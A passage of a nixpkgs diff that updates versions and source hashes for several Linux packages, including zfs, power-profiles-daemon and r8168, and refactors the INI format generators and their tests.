b/pkgs/os-specific/linux/policycoreutils/default.nix @@ -2,12 +2,12 @@ stdenv.mkDerivation rec { pname = "policycoreutils"; - version = "3.3"; + version = "3.6"; inherit (libsepol) se_url; src = fetchurl { url = "${se_url}/${version}/policycoreutils-${version}.tar.gz"; - sha256 = "0y0hl32b2ks7r0fhbx3k2j1gqqms5aplyasjs3fz50caxl6096a1"; + hash = "sha256-p2rEMepAo1qDFkzpAHkJwcbBL9EFZif2IhROSnBcCiw="; }; postPatch = '' @@ -15,8 +15,6 @@ stdenv.mkDerivation rec { substituteInPlace po/Makefile \ --replace /usr/bin/install install --replace /usr/share /share substituteInPlace newrole/Makefile --replace /usr/share /share - - sed -i -e '39i#include <crypt.h>' run_init/run_init.c ''; nativeBuildInputs = [ gettext ]; diff --git a/pkgs/os-specific/linux/power-profiles-daemon/default.nix b/pkgs/os-specific/linux/power-profiles-daemon/default.nix index e81f42b65a23e..dcf146a01fa6a 100644 --- a/pkgs/os-specific/linux/power-profiles-daemon/default.nix +++ b/pkgs/os-specific/linux/power-profiles-daemon/default.nix @@ -5,7 +5,6 @@ , mesonEmulatorHook , ninja , fetchFromGitLab -, fetchpatch , libgudev , glib , polkit @@ -21,22 +20,21 @@ , umockdev , systemd , python3 -, wrapGAppsNoGuiHook , nixosTests }: stdenv.mkDerivation rec { pname = "power-profiles-daemon"; - version = "0.13"; + version = "0.20"; outputs = [ "out" "devdoc" ]; src = fetchFromGitLab { domain = "gitlab.freedesktop.org"; - owner = "hadess"; + owner = "upower"; repo = "power-profiles-daemon"; rev = version; - sha256 = "sha256-ErHy+shxZQ/aCryGhovmJ6KmAMt9OZeQGDbHIkC0vUE="; + sha256 = "sha256-8wSRPR/1ELcsZ9K3LvSNlPcJvxRhb/LRjTIxKtdQlCA="; }; nativeBuildInputs = [ @@ -50,8 +48,6 @@ stdenv.mkDerivation rec { libxml2 # for xmllint for stripping GResources libxslt # for xsltproc for building docs gobject-introspection - wrapGAppsNoGuiHook - python3.pkgs.wrapPython # checkInput but cheked for during the configuring (python3.pythonOnBuildForHost.withPackages (ps: with ps; [ pygobject3 @@ -68,16 +64,16 @@ stdenv.mkDerivation rec { upower glib polkit - python3 # for cli tool - # Duplicate from nativeCheckInputs until https://github.com/NixOS/nixpkgs/issues/161570 is solved - umockdev + # for cli tool + (python3.withPackages (ps: [ + ps.pygobject3 + ])) ]; strictDeps = true; - # for cli tool - pythonPath = [ - python3.pkgs.pygobject3 + checkInputs = [ + umockdev ]; nativeCheckInputs = [ @@ -95,26 +91,13 @@ stdenv.mkDerivation rec { PKG_CONFIG_POLKIT_GOBJECT_1_POLICYDIR = "${placeholder "out"}/share/polkit-1/actions"; - # Avoid double wrapping - dontWrapGApps = true; - postPatch = '' patchShebangs --build \ tests/integration-test.py \ tests/unittest_inspector.py - ''; - - postCheck = '' - # Do not contaminate the wrapper with test dependencies. - unset GI_TYPELIB_PATH - unset XDG_DATA_DIRS - ''; - postFixup = '' - # Avoid double wrapping - makeWrapperArgs+=("''${gappsWrapperArgs[@]}") - # Make Python libraries available - wrapPythonProgramsIn "$out/bin" "$pythonPath" + patchShebangs --host \ + src/powerprofilesctl ''; passthru = { diff --git a/pkgs/os-specific/linux/powerstat/default.nix b/pkgs/os-specific/linux/powerstat/default.nix index 578b0ef4d6868..23378b67b4b57 100644 --- a/pkgs/os-specific/linux/powerstat/default.nix +++ b/pkgs/os-specific/linux/powerstat/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "powerstat"; - version = "0.04.02"; + version = "0.04.03"; src = fetchFromGitHub { owner = "ColinIanKing"; repo = pname; rev = "V${version}"; - hash = "sha256-bFk2Zga7ZrQFxdaIV+E6N8EuT/20SRVnPihn/5wF8JA="; + hash = "sha256-Y9djoy2RaEe4j+1g+9Q2MxEpVzPMA8oyJ92hlQm3Lqg="; }; installFlags = [ diff --git a/pkgs/os-specific/linux/r8168/default.nix b/pkgs/os-specific/linux/r8168/default.nix index 69e779dfaa66a..6eb53ca17f7a3 100644 --- a/pkgs/os-specific/linux/r8168/default.nix +++ b/pkgs/os-specific/linux/r8168/default.nix @@ -6,18 +6,18 @@ let modDestDir = "$out/lib/modules/${kernel.modDirVersion}/kernel/drivers/net/wi in stdenv.mkDerivation rec { name = "r8168-${kernel.version}-${version}"; # on update please verify that the source matches the realtek version - version = "8.048.03"; + version = "8.052.01"; # This is a mirror. The original website[1] doesn't allow non-interactive # downloads, instead emailing you a download link. # [1] https://www.realtek.com/en/component/zoo/category/network-interface-controllers-10-100-1000m-gigabit-ethernet-pci-express-software - # I've verified manually (`diff -r`) that the source code for version 8.046.00 + # I've verified manually (`diff -r`) that the source code for version 8.052.01 # is the same as the one available on the realtek website. src = fetchFromGitHub { owner = "mtorromeo"; repo = "r8168"; rev = version; - sha256 = "1l8llpcnapcaafxp7wlyny2ywh7k6q5zygwwjl9h0l6p04cghss4"; + sha256 = "01mi7hh92nc7jaxkfrpz7j0ci78djrhgmq0im4k1270mwmvr0yzj"; }; hardeningDisable = [ "pic" ]; diff --git a/pkgs/os-specific/linux/reptyr/default.nix b/pkgs/os-specific/linux/reptyr/default.nix index 35516fdf0e69c..fadb9df980869 100644 --- a/pkgs/os-specific/linux/reptyr/default.nix +++ b/pkgs/os-specific/linux/reptyr/default.nix @@ -17,7 +17,9 @@ in stdenv.mkDerivation rec { nativeCheckInputs = [ python ]; - doCheck = true; + # reptyr needs to do ptrace of a non-child process + # It can be neither used nor tested if the kernel is not told to allow this + doCheck = false; checkFlags = [ "PYTHON_CMD=${python.interpreter}" diff --git a/pkgs/os-specific/linux/rtl8821ce/default.nix b/pkgs/os-specific/linux/rtl8821ce/default.nix index 87670105b10ba..5f9e2e8cf10d4 100644 --- a/pkgs/os-specific/linux/rtl8821ce/default.nix +++ b/pkgs/os-specific/linux/rtl8821ce/default.nix @@ -7,13 +7,13 @@ stdenv.mkDerivation rec { pname = "rtl8821ce"; - version = "${kernel.version}-unstable-2023-05-04"; + version = "${kernel.version}-unstable-2024-01-20"; src = fetchFromGitHub { owner = "tomaspinho"; repo = "rtl8821ce"; - rev = "a478095a45d8aa957b45be4f9173c414efcacc6f"; - hash = "sha256-xqVxylKhL7vbC7m5Av6ven5i7OBkS2RHxrKzLOVBlgE="; + rev = "66983b69120a13699acf40a12979317f29012111"; + hash = "sha256-Zxb9cOgP67QdCeTNEme0tAsBqd9j/2k+gcE1QKkUQU4="; }; hardeningDisable = [ "pic" ]; diff --git a/pkgs/os-specific/linux/switcheroo-control/default.nix b/pkgs/os-specific/linux/switcheroo-control/default.nix index bb0f262a2b1cf..a749168f5bc4b 100644 --- a/pkgs/os-specific/linux/switcheroo-control/default.nix +++ b/pkgs/os-specific/linux/switcheroo-control/default.nix @@ -6,11 +6,10 @@ , libgudev , pkg-config , glib -, python3 -, gobject-introspection +, python3Packages }: -python3.pkgs.buildPythonApplication rec { +python3Packages.buildPythonApplication rec { pname = "switcheroo-control"; version = "2.6"; @@ -19,7 +18,7 @@ python3.pkgs.buildPythonApplication rec { src = fetchFromGitLab { domain = "gitlab.freedesktop.org"; owner = "hadess"; - repo = pname; + repo = "switcheroo-control"; rev = version; hash = "sha256-F+5HhMxM8pcnAGmVBARKWNCL0rIEzHW/jsGHHqYZJug="; }; @@ -28,18 +27,16 @@ python3.pkgs.buildPythonApplication rec { ninja meson pkg-config - - # needed for glib-compile-resources - glib ]; buildInputs = [ systemd libgudev + glib ]; propagatedBuildInputs = [ - python3.pkgs.pygobject3 + python3Packages.pygobject3 ]; mesonFlags = [ diff --git a/pkgs/os-specific/linux/teck-udev-rules/default.nix b/pkgs/os-specific/linux/teck-udev-rules/default.nix index eec5eac344ef2..e0beb09e02eec 100644 --- a/pkgs/os-specific/linux/teck-udev-rules/default.nix +++ b/pkgs/os-specific/linux/teck-udev-rules/default.nix @@ -17,6 +17,6 @@ stdenv.mkDerivation { meta = { description = "udev rules for TECK keyboards"; inherit (teck-programmer.meta) license; - maintainers = [ lib.maintainers.lourkeur ]; + maintainers = [ lib.maintainers.bbjubjub ]; }; } diff --git a/pkgs/os-specific/linux/tuxedo-keyboard/default.nix b/pkgs/os-specific/linux/tuxedo-keyboard/default.nix index 353857de320da..2e0a13846f32d 100644 --- a/pkgs/os-specific/linux/tuxedo-keyboard/default.nix +++ b/pkgs/os-specific/linux/tuxedo-keyboard/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "tuxedo-keyboard-${kernel.version}"; - version = "3.2.7"; + version = "3.2.14"; src = fetchFromGitHub { owner = "tuxedocomputers"; repo = "tuxedo-keyboard"; rev = "v${finalAttrs.version}"; - hash = "sha256-Q0wnejeLGLSDS0GPxQuYUKCAdzbYA66KT0DuWsEKIRs="; + hash = "sha256-L3NsUUKA/snUcRWwlZidsBiTznhfulNldidEDDmNOkw="; }; buildInputs = [ diff --git a/pkgs/os-specific/linux/uhk-agent/default.nix b/pkgs/os-specific/linux/uhk-agent/default.nix index 931d9edc8c37e..0d6b3ccd515ca 100644 --- a/pkgs/os-specific/linux/uhk-agent/default.nix +++ b/pkgs/os-specific/linux/uhk-agent/default.nix @@ -12,12 +12,12 @@ let pname = "uhk-agent"; - version = "3.3.0"; + version = "4.0.2"; src = fetchurl { url = "https://github.com/UltimateHackingKeyboard/agent/releases/download/v${version}/UHK.Agent-${version}-linux-x86_64.AppImage"; name = "${pname}-${version}.AppImage"; - sha256 = "sha256-jkIuXKTm8imq1U7kbQhK7LkEeI2qz0Gu7rWuDn6Ex+c="; + sha256 = "sha256-yx5hOmb1la+vNh8x0PM3edcMn4ojdwzNmGBUg/BH7wE="; }; appimageContents = appimageTools.extract { diff --git a/pkgs/os-specific/linux/undervolt/default.nix b/pkgs/os-specific/linux/undervolt/default.nix index cc9fb7374658b..4b9758494dca0 100644 --- a/pkgs/os-specific/linux/undervolt/default.nix +++ b/pkgs/os-specific/linux/undervolt/default.nix @@ -1,14 +1,14 @@ { lib, fetchFromGitHub, python3Packages }: python3Packages.buildPythonApplication rec { - version = "0.3.0"; + version = "0.4.0"; pname = "undervolt"; src = fetchFromGitHub { owner = "georgewhewell"; repo = "undervolt"; rev = version; - sha256 = "1aybk8vbb4745raz7rvpkk6b98xrdiwjhkpbv3kwsgsr9sj42lp0"; + hash = "sha256-G+CK/lnZXkQdyNZPqY9P3owVJsd22H3K8wSpjHFG0ow="; }; meta = with lib; { diff --git a/pkgs/os-specific/linux/virtio_vmmci/default.nix b/pkgs/os-specific/linux/virtio_vmmci/default.nix index 7c6d57273be94..cff2cbbeae8c7 100644 --- a/pkgs/os-specific/linux/virtio_vmmci/default.nix +++ b/pkgs/os-specific/linux/virtio_vmmci/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { name = "virtio_vmmci"; - version = "0.5.0"; + version = "0.6.0"; src = fetchFromGitHub { owner = "voutilad"; repo = "virtio_vmmci"; rev = version; - hash = "sha256-ZHslYYZFjM3wp0W5J3/WwCtQ2wDzT1jNc26Z/giTC8g="; + hash = "sha256-dMh6bqlhsp/cWKqiJ9xjVI9yJj2w1ap7agKSnRjadXA="; }; hardeningDisable = [ "pic" "format" ]; diff --git a/pkgs/os-specific/linux/wpa_supplicant/default.nix b/pkgs/os-specific/linux/wpa_supplicant/default.nix index 621cd5d79a277..49355de17784e 100644 --- a/pkgs/os-specific/linux/wpa_supplicant/default.nix +++ b/pkgs/os-specific/linux/wpa_supplicant/default.nix @@ -55,6 +55,7 @@ stdenv.mkDerivation rec { CONFIG_INTERNETWORKING=y CONFIG_L2_PACKET=linux CONFIG_LIBNL32=y + CONFIG_MESH=y CONFIG_OWE=y CONFIG_P2P=y CONFIG_SAE_PK=y diff --git a/pkgs/os-specific/linux/xpadneo/default.nix b/pkgs/os-specific/linux/xpadneo/default.nix index e470fa66adf35..b186c90ddbd78 100644 --- a/pkgs/os-specific/linux/xpadneo/default.nix +++ b/pkgs/os-specific/linux/xpadneo/default.nix @@ -4,17 +4,18 @@ , kernel , bluez , nixosTests +, nix-update-script }: stdenv.mkDerivation (finalAttrs: { pname = "xpadneo"; - version = "0.9.5"; + version = "0.9.6"; src = fetchFromGitHub { owner = "atar-axis"; repo = "xpadneo"; rev = "refs/tags/v${finalAttrs.version}"; - sha256 = "sha256-rT2Mq40fE055FemDG7PBjt+cxgIHJG9tTjtw2nW6B98="; + sha256 = "sha256-pX9zpAGnhDLKUAKOQ5iqtK8cKEkjCqDa5v3MwYViWX4="; }; setSourceRoot = '' @@ -39,6 +40,8 @@ stdenv.mkDerivation (finalAttrs: { xpadneo = nixosTests.xpadneo; }; + passthru.updateScript = nix-update-script { }; + meta = with lib; { description = "Advanced Linux driver for Xbox One wireless controllers"; homepage = "https://atar-axis.github.io/xpadneo"; diff --git a/pkgs/os-specific/linux/zfs/2_1.nix b/pkgs/os-specific/linux/zfs/2_1.nix index 4642bc20f6fcc..73cc0d9627030 100644 --- a/pkgs/os-specific/linux/zfs/2_1.nix +++ b/pkgs/os-specific/linux/zfs/2_1.nix @@ -2,7 +2,6 @@ , kernel ? null , stdenv , linuxKernel -, removeLinuxDRM ? false , lib , nixosTests , ... @@ -16,20 +15,15 @@ callPackage ./generic.nix args { # this attribute is the correct one for this package. kernelModuleAttribute = "zfs_2_1"; # check the release notes for compatible kernels - kernelCompatible = - if stdenv'.isx86_64 || removeLinuxDRM - then kernel.kernelOlder "6.6" - else kernel.kernelOlder "6.2"; + kernelCompatible = kernel.kernelOlder "6.8"; - latestCompatibleLinuxPackages = if stdenv'.isx86_64 || removeLinuxDRM - then linuxKernel.packages.linux_6_5 - else linuxKernel.packages.linux_6_1; + latestCompatibleLinuxPackages = linuxKernel.packages.linux_6_7; # This is a fixed version to the 2.1.x series, move only # if the 2.1.x series moves. - version = "2.1.14"; + version = "2.1.15"; - hash = "sha256-RVAoZbV9yclGuN+D37SB6UCRFbbLEpBoyrQOQCVsQwE="; + hash = "sha256-zFO8fMbirEOrn5W57rAN7IWY6EIXG8jDXqhP7BWJyiY="; tests = [ nixosTests.zfs.series_2_1 diff --git a/pkgs/os-specific/linux/zfs/stable.nix b/pkgs/os-specific/linux/zfs/2_2.nix index 5f879320b4dc1..3e5d262f73d06 100644 --- a/pkgs/os-specific/linux/zfs/stable.nix +++ b/pkgs/os-specific/linux/zfs/2_2.nix @@ -2,7 +2,6 @@ , kernel ? null , stdenv , linuxKernel -, removeLinuxDRM ? false , nixosTests , ... } @ args: @@ -13,24 +12,19 @@ in callPackage ./generic.nix args { # You have to ensure that in `pkgs/top-level/linux-kernels.nix` # this attribute is the correct one for this package. - kernelModuleAttribute = "zfs"; + kernelModuleAttribute = "zfs_2_2"; # check the release notes for compatible kernels - kernelCompatible = - if stdenv'.isx86_64 || removeLinuxDRM - then kernel.kernelOlder "6.7" - else kernel.kernelOlder "6.2"; + kernelCompatible = kernel.kernelOlder "6.8"; - latestCompatibleLinuxPackages = if stdenv'.isx86_64 || removeLinuxDRM - then linuxKernel.packages.linux_6_6 - else linuxKernel.packages.linux_6_1; + latestCompatibleLinuxPackages = linuxKernel.packages.linux_6_7; # this package should point to the latest release. - version = "2.2.2"; + version = "2.2.3"; tests = [ nixosTests.zfs.installer - nixosTests.zfs.stable + nixosTests.zfs.series_2_2 ]; - hash = "sha256-CqhETAwhWMhbld5ib3Rz1dxms+GQbLwjEZw/V7U/2nE="; + hash = "sha256-Bzkow15OitUUQ+mTYhCXgTrQl+ao/B4feleHY/rSSjg="; } diff --git a/pkgs/os-specific/linux/zfs/generic.nix b/pkgs/os-specific/linux/zfs/generic.nix index 566af6950d483..c0ff834cb34ab 100644 --- a/pkgs/os-specific/linux/zfs/generic.nix +++ b/pkgs/os-specific/linux/zfs/generic.nix @@ -234,8 +234,8 @@ let inherit maintainers; mainProgram = "zfs"; - # If your Linux kernel version is not yet supported by zfs, try zfsUnstable. - # On NixOS set the option boot.zfs.enableUnstable. + # If your Linux kernel version is not yet supported by zfs, try zfs_unstable. + # On NixOS set the option `boot.zfs.package = pkgs.zfs_unstable`. broken = buildKernel && (kernelCompatible != null) && !kernelCompatible; }; }; diff --git a/pkgs/os-specific/linux/zfs/unstable.nix b/pkgs/os-specific/linux/zfs/unstable.nix index 64a1e79550003..052dd0cd74c9a 100644 --- a/pkgs/os-specific/linux/zfs/unstable.nix +++ b/pkgs/os-specific/linux/zfs/unstable.nix @@ -2,7 +2,6 @@ , kernel ? null , stdenv , linuxKernel -, removeLinuxDRM ? false , nixosTests , ... } @ args: @@ -13,16 +12,11 @@ in callPackage ./generic.nix args { # You have to ensure that in `pkgs/top-level/linux-kernels.nix` # this attribute is the correct one for this package. - kernelModuleAttribute = "zfsUnstable"; + kernelModuleAttribute = "zfs_unstable"; # check the release notes for compatible kernels - kernelCompatible = - if stdenv'.isx86_64 || removeLinuxDRM - then kernel.kernelOlder "6.9" - else kernel.kernelOlder "6.2"; + kernelCompatible = kernel.kernelOlder "6.9"; - latestCompatibleLinuxPackages = if stdenv'.isx86_64 || removeLinuxDRM - then linuxKernel.packages.linux_6_7 - else linuxKernel.packages.linux_6_1; + latestCompatibleLinuxPackages = linuxKernel.packages.linux_6_7; # this package should point to a version / git revision compatible with the latest kernel release # IMPORTANT: Always use a tagged release candidate or commits from the diff --git a/pkgs/pkgs-lib/formats.nix b/pkgs/pkgs-lib/formats.nix index c78bd82e01ef1..1b72270b43ca4 100644 --- a/pkgs/pkgs-lib/formats.nix +++ b/pkgs/pkgs-lib/formats.nix @@ -95,29 +95,13 @@ rec { }; - ini = { - # Represents lists as duplicate keys - listsAsDuplicateKeys ? false, - # Alternative to listsAsDuplicateKeys, converts list to non-list - # listToValue :: [IniAtom] -> IniAtom - listToValue ? null, - ... - }@args: - assert !listsAsDuplicateKeys || listToValue == null; - { - - type = with lib.types; let - - singleIniAtom = nullOr (oneOf [ - bool - int - float - str - ]) // { + # the ini formats share a lot of code + inherit ( + let + singleIniAtom = with lib.types; nullOr (oneOf [ bool int float str ]) // { description = "INI atom (null, bool, int, float or string)"; }; - - iniAtom = + iniAtom = with lib.types; { listsAsDuplicateKeys, listToValue }: if listsAsDuplicateKeys then coercedTo singleIniAtom lib.singleton (listOf singleIniAtom) // { description = singleIniAtom.description + " or a list of them for duplicate keys"; @@ -128,21 +112,79 @@ rec { } else singleIniAtom; + iniSection = with lib.types; { listsAsDuplicateKeys, listToValue }@args: + attrsOf (iniAtom args) // { + description = "section of an INI file (attrs of " + (iniAtom args).description + ")"; + }; - in attrsOf (attrsOf iniAtom); + maybeToList = listToValue: if listToValue != null then lib.mapAttrs (key: val: if lib.isList val then listToValue val else val) else lib.id; + in { + ini = { + # Represents lists as duplicate keys + listsAsDuplicateKeys ? false, + # Alternative to listsAsDuplicateKeys, converts list to non-list + # listToValue :: [IniAtom] -> IniAtom + listToValue ? null, + ... + }@args: + assert listsAsDuplicateKeys -> listToValue == null; + { - generate = name: value: - let - transformedValue = - if listToValue != null - then - lib.mapAttrs (section: lib.mapAttrs (key: val: - if lib.isList val then listToValue val else val - )) value - else value; - in pkgs.writeText name (lib.generators.toINI (removeAttrs args ["listToValue"]) transformedValue); + type = lib.types.attrsOf (iniSection { listsAsDuplicateKeys = listsAsDuplicateKeys; listToValue = listToValue; }); - }; + generate = name: value: + lib.pipe value + [ + (lib.mapAttrs (_: maybeToList listToValue)) + (lib.generators.toINI (removeAttrs args ["listToValue"])) + (pkgs.writeText name) + ]; + }; + + iniWithGlobalSection = { + # Represents lists as duplicate keys + listsAsDuplicateKeys ? false, + # Alternative to listsAsDuplicateKeys, converts list to non-list + # listToValue :: [IniAtom] -> IniAtom + listToValue ? null, + ... + }@args: + assert listsAsDuplicateKeys -> listToValue == null; + { + type = lib.types.submodule { + options = { + sections = lib.mkOption rec { + type = lib.types.attrsOf (iniSection { listsAsDuplicateKeys = listsAsDuplicateKeys; listToValue = listToValue; }); + default = {}; + description = type.description; + }; + globalSection = lib.mkOption rec { + type = iniSection { listsAsDuplicateKeys = listsAsDuplicateKeys; listToValue = listToValue; }; + default = {}; + description = "global " + type.description; + }; + }; + }; + generate = name: { sections ? {}, globalSection ? {}, ... }: + pkgs.writeText name (lib.generators.toINIWithGlobalSection (removeAttrs args ["listToValue"]) + { + globalSection = maybeToList listToValue globalSection; + sections = lib.mapAttrs (_: maybeToList listToValue) sections; + }); + }; + + gitIni = { listsAsDuplicateKeys ? false, ... }@args: { + type = let + atom = iniAtom { + listsAsDuplicateKeys = listsAsDuplicateKeys; + listToValue = null; + }; + in with lib.types; attrsOf (attrsOf (either atom (attrsOf atom))); + + generate = name: value: pkgs.writeText name (lib.generators.toGitINI value); + }; + + }) ini iniWithGlobalSection gitIni; # As defined by systemd.syntax(7) # @@ -166,7 +208,7 @@ rec { listToValue ? null, ... }@args: - assert !listsAsDuplicateKeys || listToValue == null; + assert listsAsDuplicateKeys -> listToValue == null; { type = with lib.types; let @@ -207,17 +249,6 @@ rec { }; - gitIni = { listsAsDuplicateKeys ? false, ... }@args: { - - type = with lib.types; let - - iniAtom = (ini args).type/*attrsOf*/.functor.wrapped/*attrsOf*/.functor.wrapped; - - in attrsOf (attrsOf (either iniAtom (attrsOf iniAtom))); - - generate = name: value: pkgs.writeText name (lib.generators.toGitINI value); - }; - toml = {}: json {} // { type = with lib.types; let valueType = oneOf [ diff --git a/pkgs/pkgs-lib/tests/formats.nix b/pkgs/pkgs-lib/tests/formats.nix index b7e100dd73bcf..3243f4058e680 100644 --- a/pkgs/pkgs-lib/tests/formats.nix +++ b/pkgs/pkgs-lib/tests/formats.nix @@ -1,24 +1,21 @@ { pkgs }: let inherit (pkgs) lib formats; -in -with lib; -let - evalFormat = format: args: def: - let - formatSet = format args; - config = formatSet.type.merge [] (imap1 (n: def: { - # We check the input values, so that - # - we don't write nonsensical tests that will impede progress - # - the test author has a slightly more realistic view of the - # final format during development. - value = lib.throwIfNot (formatSet.type.check def) (builtins.trace def "definition does not pass the type's check function") def; - file = "def${toString n}"; - }) [ def ]); - in formatSet.generate "test-format-file" config; - - runBuildTest = name: { drv, expected }: pkgs.runCommand name { + # merging allows us to add metadata to the input + # this makes error messages more readable during development + mergeInput = name: format: input: + format.type.merge [] [ + { + # explicitly throw here to trigger the code path that prints the error message for users + value = lib.throwIfNot (format.type.check input) (builtins.trace input "definition does not pass the type's check function") input; + # inject the name + file = "format-test-${name}"; + } + ]; + + # run a diff between expected and real output + runDiff = name: drv: expected: pkgs.runCommand name { passAsFile = ["expected"]; inherit expected drv; } '' @@ -31,12 +28,66 @@ let fi ''; - runBuildTests = tests: pkgs.linkFarm "nixpkgs-pkgs-lib-format-tests" (mapAttrsToList (name: value: { inherit name; path = runBuildTest name value; }) (filterAttrs (name: value: value != null) tests)); + # use this to check for proper serialization + # in practice you do not have to supply the name parameter as this one will be added by runBuildTests + shouldPass = { format, input, expected }: name: { + name = "pass-${name}"; + path = runDiff "test-format-${name}" (format.generate "test-format-${name}" (mergeInput name format input)) expected; + }; + + # use this function to assert that a type check must fail + # in practice you do not have to supply the name parameter as this one will be added by runBuildTests + # note that as per 352e7d330a26 and 352e7d330a26 the type checking of attrsets and lists are not strict + # this means that the code below needs to properly merge the module type definition and also evaluate the (lazy) return value + shouldFail = { format, input }: name: + let + # trigger a deep type check using the module system + typeCheck = lib.modules.mergeDefinitions + [ "tests" name ] + format.type + [ + { + file = "format-test-${name}"; + value = input; + } + ]; + # actually use the return value to trigger the evaluation + eval = builtins.tryEval (typeCheck.mergedValue == input); + # the check failing is what we want, so don't do anything here + typeFails = pkgs.runCommand "test-format-${name}" {} "touch $out"; + # bail with some verbose information in case the type check passes + typeSucceeds = pkgs.runCommand "test-format-${name}" { + passAsFile = [ "inputText" ]; + testName = name; + # this will fail if the input contains functions as values + # however that should get caught by the type check already + inputText = builtins.toJSON input; + } + '' + echo "Type check $testName passed when it shouldn't." + echo "The following data was used as input:" + echo + cat "$inputTextPath" + exit 1 + ''; + in { + name = "fail-${name}"; + path = if eval.success then typeSucceeds else typeFails; + }; + + # this function creates a linkFarm for all the tests below such that the results are easily visible in the filesystem after a build + # the parameters are an attrset of name: test pairs where the name is automatically passed to the test + # the test therefore is an invocation of ShouldPass or shouldFail with the attrset parameters but *not* the name (which this adds for convenience) + runBuildTests = (lib.flip lib.pipe) [ + (lib.mapAttrsToList (name: value: value name)) + (pkgs.linkFarm "nixpkgs-pkgs-lib-format-tests") + ]; in runBuildTests { - testJsonAtoms = { - drv = evalFormat formats.json {} { + jsonAtoms = shouldPass { + format = formats.json {}; + input = { null = null; false = false; true = true; @@ -67,8 +118,9 @@ in runBuildTests { ''; }; - testYamlAtoms = { - drv = evalFormat formats.yaml {} { + yamlAtoms = shouldPass { + format = formats.yaml {}; + input = { null = null; false = false; true = true; @@ -93,8 +145,9 @@ in runBuildTests { ''; }; - testIniAtoms = { - drv = evalFormat formats.ini {} { + iniAtoms = shouldPass { + format = formats.ini {}; + input = { foo = { bool = true; int = 10; @@ -111,8 +164,29 @@ in runBuildTests { ''; }; - testIniDuplicateKeys = { - drv = evalFormat formats.ini { listsAsDuplicateKeys = true; } { + iniInvalidAtom = shouldFail { + format = formats.ini {}; + input = { + foo = { + function = _: 1; + }; + }; + }; + + iniDuplicateKeysWithoutList = shouldFail { + format = formats.ini {}; + input = { + foo = { + bar = [ null true "test" 1.2 10 ]; + baz = false; + qux = "qux"; + }; + }; + }; + + iniDuplicateKeys = shouldPass { + format = formats.ini { listsAsDuplicateKeys = true; }; + input = { foo = { bar = [ null true "test" 1.2 10 ]; baz = false; @@ -131,8 +205,9 @@ in runBuildTests { ''; }; - testIniListToValue = { - drv = evalFormat formats.ini { listToValue = concatMapStringsSep ", " (generators.mkValueStringDefault {}); } { + iniListToValue = shouldPass { + format = formats.ini { listToValue = lib.concatMapStringsSep ", " (lib.generators.mkValueStringDefault {}); }; + input = { foo = { bar = [ null true "test" 1.2 10 ]; baz = false; @@ -147,8 +222,104 @@ in runBuildTests { ''; }; - testKeyValueAtoms = { - drv = evalFormat formats.keyValue {} { + iniWithGlobalNoSections = shouldPass { + format = formats.iniWithGlobalSection {}; + input = {}; + expected = ""; + }; + + iniWithGlobalOnlySections = shouldPass { + format = formats.iniWithGlobalSection {}; + input = { + sections = { + foo = { + bar = "baz"; + }; + }; + }; + expected = '' + [foo] + bar=baz + ''; + }; + + iniWithGlobalOnlyGlobal = shouldPass { + format = formats.iniWithGlobalSection {}; + input = { + globalSection = { + bar = "baz"; + }; + }; + expected = '' + bar=baz + + ''; + }; + + iniWithGlobalWrongSections = shouldFail { + format = formats.iniWithGlobalSection {}; + input = { + foo = {}; + }; + }; + + iniWithGlobalEverything = shouldPass { + format = formats.iniWithGlobalSection {}; + input = { + globalSection = { + bar = true; + }; + sections = { + foo = { + bool = true; + int = 10; + float = 3.141; + str = "string"; + }; + }; + }; + expected = '' + bar=true + + [foo] + bool=true + float=3.141000 + int=10 + str=string + ''; + }; + + iniWithGlobalListToValue = shouldPass { + format = formats.iniWithGlobalSection { listToValue = lib.concatMapStringsSep ", " (lib.generators.mkValueStringDefault {}); }; + input = { + globalSection = { + bar = [ null true "test" 1.2 10 ]; + baz = false; + qux = "qux"; + }; + sections = { + foo = { + bar = [ null true "test" 1.2 10 ]; + baz = false; + qux = "qux"; + }; + }; + }; + expected = '' + bar=null, true, test, 1.200000, 10 + baz=false + qux=qux + + [foo] + bar=null, true, test, 1.200000, 10 + baz=false + qux=qux + ''; + }; + + keyValueAtoms = shouldPass { + format = formats.keyValue {}; + input = { bool = true; int = 10; float = 3.141; @@ -162,8 +333,9 @@ in runBuildTests { ''; }; - testKeyValueDuplicateKeys = { - drv = evalFormat formats.keyValue { listsAsDuplicateKeys = true; } { + keyValueDuplicateKeys = shouldPass { + format = formats.keyValue { listsAsDuplicateKeys = true; }; + input = { bar = [ null true "test" 1.2 10 ]; baz = false; qux = "qux"; @@ -179,8 +351,9 @@ in runBuildTests { ''; }; - testKeyValueListToValue = { - drv = evalFormat formats.keyValue { listToValue = concatMapStringsSep ", " (generators.mkValueStringDefault {}); } { + keyValueListToValue = shouldPass { + format = formats.keyValue { listToValue = lib.concatMapStringsSep ", " (lib.generators.mkValueStringDefault {}); }; + input = { bar = [ null true "test" 1.2 10 ]; baz = false; qux = "qux"; @@ -192,8 +365,9 @@ in runBuildTests { ''; }; - testTomlAtoms = { - drv = evalFormat formats.toml {} { + tomlAtoms = shouldPass { + format = formats.toml {}; + input = { false = false; true = true; int = 10; @@ -222,8 +396,9 @@ in runBuildTests { # 1. testing type coercions # 2. providing a more readable example test # Whereas java-properties/default.nix tests the low level escaping, etc. - testJavaProperties = { - drv = evalFormat formats.javaProperties {} { + javaProperties = shouldPass { + format = formats.javaProperties {}; + input = { floaty = 3.1415; tautologies = true; contradictions = false; diff --git a/pkgs/servers/akkoma/admin-fe/default.nix b/pkgs/servers/akkoma/admin-fe/default.nix index f1a874b348bb5..08da604bfbae8 100644 --- a/pkgs/servers/akkoma/admin-fe/default.nix +++ b/pkgs/servers/akkoma/admin-fe/default.nix @@ -7,14 +7,14 @@ stdenv.mkDerivation rec { pname = "admin-fe"; - version = "unstable-2023-02-11"; + version = "unstable-2024-02-25"; src = fetchFromGitea { domain = "akkoma.dev"; owner = "AkkomaGang"; repo = "admin-fe"; - rev = "130c17808bc50269f8444612f4ab378a08cd5e43"; - hash = "sha256-+ZU8J4rOyRMSZP+CUyLeOhRI2fKiw2s31coTYAoReWM="; + rev = "2a1e175f7c2b02e66d728f808cb7e9449231a288"; + hash = "sha256-PLSJ+doZUZ2n4hWUahY299VoCvNq76Tm8qpdvOIHD9c="; }; patches = [ ./deps.patch ]; diff --git a/pkgs/servers/akkoma/akkoma-fe/default.nix 